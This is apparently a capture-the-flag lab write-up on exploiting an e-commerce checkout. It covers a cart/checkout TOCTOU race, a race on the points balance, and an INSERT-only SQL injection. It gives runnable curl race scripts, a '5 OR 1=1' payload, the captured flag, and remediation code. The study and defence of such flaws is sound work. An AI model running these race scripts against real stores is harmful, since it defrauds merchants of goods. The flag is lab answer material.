BugForge — 2026.03.22

Cafe Club: Race Condition — Cart/Checkout TOCTOU

BugForge Race Condition hard
  • Vulnerability: Race Condition (TOCTOU), SQL Injection (INSERT-only)
  • Key Technique: Cart/checkout time-of-check-time-of-use race — adding expensive items to cart during checkout processing window so they’re included in the order at the previously calculated (lower) total
  • Result: Obtained $448.96 of items for $0 and captured the flag

Objective

Find the flag in the Cafe Club e-commerce application.

Initial Access

# Target Application
URL: https://lab-1774194105236-5gtry4.labs-app.bugforge.io

# Auth details
# Registered via POST /api/register
Username: haxor
Password: [user-created]
Auth: JWT HS256 Bearer token (no expiry)
JWT payload: {"id":5,"username":"haxor","iat":1774194129}

Key Findings

  1. Race Condition — Cart/Checkout TOCTOU (Critical) — CWE-367: Time-of-check Time-of-use Race Condition. The checkout endpoint reads the cart and calculates the total at the start of processing but doesn’t lock the cart. A ~1s processing window allows adding items after the total is calculated. The final order includes ALL current cart items at the stale (lower) total.

  2. Race Condition — Points Balance TOCTOU (High) — CWE-367: Time-of-check Time-of-use Race Condition. Multiple concurrent checkout requests read the same points balance before any deduction occurs, allowing the same points to be spent multiple times.

  3. SQL Injection — Review Rating INSERT (Low) — CWE-89: SQL Injection. The rating field in POST /api/products/:id/reviews is interpolated into an INSERT query. parseInt validation passes strings like "5 OR 1=1" (returns 5) but the full string reaches the DB. INSERT-only context with no data extraction.


Attack Chain Visualization

┌─────────────────────┐
│   1. Reconnaissance │
│   Map 17 API        │
│   endpoints from    │
│   JS bundle         │
└────────┬────────────┘
         │
         ▼
┌─────────────────────┐
│   2. Test Business  │
│   Logic Controls    │
│   Mass assignment,  │
│   IDOR, gift cards  │
│   → all validated   │
└────────┬────────────┘
         │
         ▼
┌─────────────────────┐
│   3. Points Race    │
│   Concurrent        │
│   checkouts read    │
│   same balance      │
│   8 pts → 3500+ pts │
└────────┬────────────┘
         │
         ▼
┌─────────────────────────────────────────┐
│   4. Cart/Checkout TOCTOU               │
│                                         │
│   t=0ms   Add Coffee Filters ($8.99)    │
│   t=50ms  Fire checkout (total=$8.99)   │
│   t=200ms Add Espresso Machine ($299.99)│
│           Add Coffee Grinder ($89.99)   │
│           Add Milk Frother ($49.99)     │
│   t=2100ms Checkout completes           │
│           Order has ALL 4 items         │
│           Total charged: $0             │
└────────┬────────────────────────────────┘
         │
         ▼
┌─────────────────────┐
│   5. Flag Captured  │
│   promotional_code  │
│   returned in       │
│   checkout response │
└─────────────────────┘

Application Architecture

Component Path Description
Frontend React SPA (static/js/main.f72d2718.js) Single-page app with all API routes visible in bundle
Backend Express.js (X-Powered-By: Express) REST API with JWT Bearer auth
Database SQLite Integer IDs, inferred from error behavior
Auth JWT HS256 No expiry, user id/username in payload

Exploitation Path

Step 1: Reconnaissance — API Endpoint Mapping

Extracted all 17 API endpoints from the React JS bundle. Key endpoints for the attack:

Endpoint Method Purpose
/api/cart GET, POST View/add cart items
/api/checkout POST Process order with points/gift card/credit card
/api/products GET List 16 products ($8.99-$299.99)
/api/giftcards GET List gift cards and balance
/api/giftcards/redeem POST Redeem gift card code
/api/profile GET, PUT User profile with points balance
/api/products/:id/reviews POST Submit product reviews

Identified business logic: points system (1 point = $0.01), gift cards (fixed $25 denominations), checkout flow (cart total → subtract points → subtract gift card → charge card).

Step 2: Business Logic Testing (Dead Ends)

Systematically tested for common e-commerce vulnerabilities:

  • Mass assignment (profile PUT): Server filters — only updates full_name, address, phone, email. Points/role ignored.
  • Mass assignment (register): role/points fields ignored at registration.
  • Gift card manipulation: Negative, 0, 0.01, 999999 amounts all rejected. Fixed denominations only.
  • Price injection: Extra fields (price, total) in cart/checkout requests ignored. Server calculates from DB.
  • Negative cart quantity: “Valid product ID and quantity are required.”
  • IDOR on orders: Filtered by user_id from JWT — can’t view other users’ orders.
  • Hidden endpoints: /api/admin, /api/users, /api/flag, /api/config, /api/debug all return SPA HTML fallback.
  • Hidden checkout fields: coupon_code, promo_code, discount_code all ignored.

All standard business logic vectors were properly validated.

Step 3: SQL Injection Discovery

Found injectable rating field in POST /api/products/:id/reviews:

POST /api/products/1/reviews HTTP/2
Content-Type: application/json
Authorization: Bearer <jwt>

{"rating": "5 OR 1=1", "comment": "test"}

parseInt("5 OR 1=1") returns 5 (passes 1-5 validation), but the full string reaches the INSERT query. Result: 500 “Database error”. However, INSERT-only context with no stacked queries and generic error messages — no data extraction possible. Low impact.

Step 4: Points Balance Race Condition

Tested concurrent checkout requests and confirmed TOCTOU on the points balance:

# 3 concurrent checkouts from a 16-point balance
# Each reads balance=16, passes points_to_use<=16 check
# All 3 succeed — 48 points spent from 16-point balance
for i in {1..3}; do
  curl -s -X POST "$HOST/api/checkout" \
    -H "Authorization: $TOKEN" \
    -H "Content-Type: application/json" \
    -d '{"points_to_use":16,"use_gift_card":false,"card_number":"4444 4444 4444 4444","card_expiry":"12/25","card_cvc":"123"}' &
done
wait

Scaled up to farm points: 15 concurrent Espresso Machine ($299.99) checkouts from 8 points, each earning floor(299.99) = 299 points. Accumulated 3500+ points.

Step 5: Cart/Checkout TOCTOU — The Kill Shot

Key insight: the checkout endpoint has a ~1s processing window. During this window, items added to the cart are included in the order but not in the total calculation.

TOKEN="Bearer <jwt>"
HOST="https://lab-1774194105236-5gtry4.labs-app.bugforge.io"

# 1. Add cheap item to cart
curl -s -X POST "$HOST/api/cart" \
  -H "Content-Type: application/json" \
  -H "Authorization: $TOKEN" \
  -d '{"product_id":14,"quantity":1}'

# 2. Fire checkout (calculates total = $8.99)
curl -s -X POST "$HOST/api/checkout" \
  -H "Content-Type: application/json" \
  -H "Authorization: $TOKEN" \
  -d '{"points_to_use":899,"use_gift_card":false,"card_number":"4444 4444 4444 4444","card_expiry":"12/25","card_cvc":"123"}' &

# 3. 150ms later, add expensive items
sleep 0.15
curl -s -X POST "$HOST/api/cart" \
  -H "Content-Type: application/json" \
  -H "Authorization: $TOKEN" \
  -d '{"product_id":9,"quantity":1}' &   # Espresso Machine $299.99
curl -s -X POST "$HOST/api/cart" \
  -H "Content-Type: application/json" \
  -H "Authorization: $TOKEN" \
  -d '{"product_id":10,"quantity":1}' &  # Coffee Grinder $89.99
curl -s -X POST "$HOST/api/cart" \
  -H "Content-Type: application/json" \
  -H "Authorization: $TOKEN" \
  -d '{"product_id":11,"quantity":1}' &  # Milk Frother $49.99
wait

Checkout response:

{
  "message": "Order placed successfully",
  "order_id": 54,
  "total": 0,
  "gift_card_used": 0,
  "points_used": 899,
  "points_earned": 0,
  "new_points_balance": 1537,
  "promotional_code": "bug{VBxyJ5hX4y3vMPA7RYNQnAUVfPgahmCC}"
}

Order #54 contained all 4 items ($448.96 total value) but was charged $0 (899 points covered the $8.99 calculated total). The server returned the flag as promotional_code because the order value massively exceeded the amount paid.


Flag / Objective Achieved

Flag: bug{VBxyJ5hX4y3vMPA7RYNQnAUVfPgahmCC}

Returned as promotional_code in the checkout response for Order #54:

  • Items ordered: Espresso Machine ($299.99), Coffee Grinder ($89.99), Milk Frother ($49.99), Coffee Filters ($8.99)
  • Total value: $448.96
  • Amount charged: $0 (899 points covered the $8.99 stale total)

Key Learnings

  • TOCTOU in e-commerce: Checkout flows that read cart contents and calculate totals without locking the cart are vulnerable to race conditions. The total must be calculated atomically with the order creation.
  • Race conditions chain together: The points balance race enabled the cart/checkout race. Without farmed points, the cheap item’s cost would still need payment.
  • Business logic > injection: Extensive SQLi testing found only a low-impact INSERT injection. The critical vulnerability was pure business logic — no traditional web vuln class.
  • JS bundle is a goldmine: All 17 API endpoints were extracted from the React bundle before any testing began. Full API surface mapping in seconds.
  • Timing matters: The 150ms delay between checkout and cart additions was crucial. Too early and checkout hadn’t started processing; too late and the order was already created.

Failed Approaches

Approach Result Why It Failed
Mass assignment on profile (points/role) Server filtered writes Only full_name, address, phone, email writable
Mass assignment on register Role/points ignored Server-side defaults enforced
Gift card amount manipulation Strict validation Fixed denominations only ($25)
Price/total injection in cart/checkout Fields ignored Server-side pricing from DB
Negative cart quantity Validation error Input validation on quantity
IDOR on orders “Order not found” Filtered by user_id from JWT
Hidden admin endpoints SPA fallback HTML Endpoints don’t exist
Hidden checkout fields (coupon_code, promo_code) Ignored by server Not implemented
SQLi on login No effect Parameterized queries
SQLi on product ID/reviews GET No effect parseInt + parameterized queries
Type confusion (array/null/bool as points_to_use) Coerced to valid values Array [5]5, null → 0

Tools Used

Tool Purpose
curl API endpoint testing, race condition exploitation
Browser DevTools JS bundle analysis, API endpoint extraction
Bash (background jobs + sleep) Race condition timing orchestration
jq JSON response parsing

Remediation

1. Cart/Checkout TOCTOU Race Condition (CVSS: 9.1 - Critical)

Issue: Checkout calculates total from cart contents at the start of processing but doesn’t lock the cart. Items added during the ~1s processing window are included in the order at the stale total. CWE Reference: CWE-367 — Time-of-check Time-of-use (TOCTOU) Race Condition

Fix:

// BEFORE (Vulnerable)
app.post('/api/checkout', async (req, res) => {
  const cart = await getCart(req.user.id);
  const total = calculateTotal(cart);
  // ... long processing (payment, validation) ...
  const order = await createOrder(req.user.id, cart, total);
  // Cart items added between getCart() and createOrder() are included
  // but not reflected in total
});

// AFTER (Secure)
app.post('/api/checkout', async (req, res) => {
  await db.run('BEGIN EXCLUSIVE TRANSACTION');
  try {
    // Snapshot cart items within transaction
    const cart = await getCart(req.user.id);
    const total = calculateTotal(cart);
    // Clear cart immediately to prevent additions
    await clearCart(req.user.id);
    // Process payment and create order
    const order = await createOrder(req.user.id, cart, total);
    await db.run('COMMIT');
  } catch (err) {
    await db.run('ROLLBACK');
    throw err;
  }
});

2. Points Balance TOCTOU Race Condition (CVSS: 7.5 - High)

Issue: Multiple concurrent checkout requests read the same points balance before any deduction, allowing the same points to be spent N times. CWE Reference: CWE-367 — Time-of-check Time-of-use (TOCTOU) Race Condition

Fix:

-- BEFORE (Vulnerable): Read then update in separate operations
SELECT points FROM users WHERE id = ?;
-- ... validate points_to_use <= points ...
UPDATE users SET points = points - ? WHERE id = ?;

-- AFTER (Secure): Atomic check-and-deduct with row-level locking
UPDATE users SET points = points - ?
WHERE id = ? AND points >= ?;
-- Check affected rows — 0 means insufficient balance

3. SQL Injection — Review Rating (CVSS: 3.7 - Low)

Issue: The rating field is interpolated into an INSERT query after parseInt validation. While parseInt prevents most exploitation, the raw string reaches the database. CWE Reference: CWE-89 — SQL Injection

Fix:

// BEFORE (Vulnerable)
const query = `INSERT INTO reviews (product_id, user_id, rating, comment)
               VALUES (${productId}, ${userId}, ${rating}, '${comment}')`;

// AFTER (Secure)
const query = `INSERT INTO reviews (product_id, user_id, rating, comment)
               VALUES (?, ?, ?, ?)`;
db.run(query, [productId, userId, parseInt(rating), comment]);

OWASP Top 10 Coverage

  • A04:2021 — Insecure Design: The checkout flow lacks race condition protections. Cart contents aren’t locked during checkout processing, and points balance checks aren’t atomic.
  • A03:2021 — Injection: SQL injection in the review rating field, though limited to INSERT context with no data extraction.
  • A08:2021 — Software and Data Integrity Failures: The order total is calculated at one point in time but the order is created from a potentially different cart state.

References


Tags: #race-condition #TOCTOU #e-commerce #business-logic #SQLi #BugForge Document Version: 1.0 Last Updated: 2026-03-22

#TOCTOU #cart-checkout #cross-endpoint #HTTP2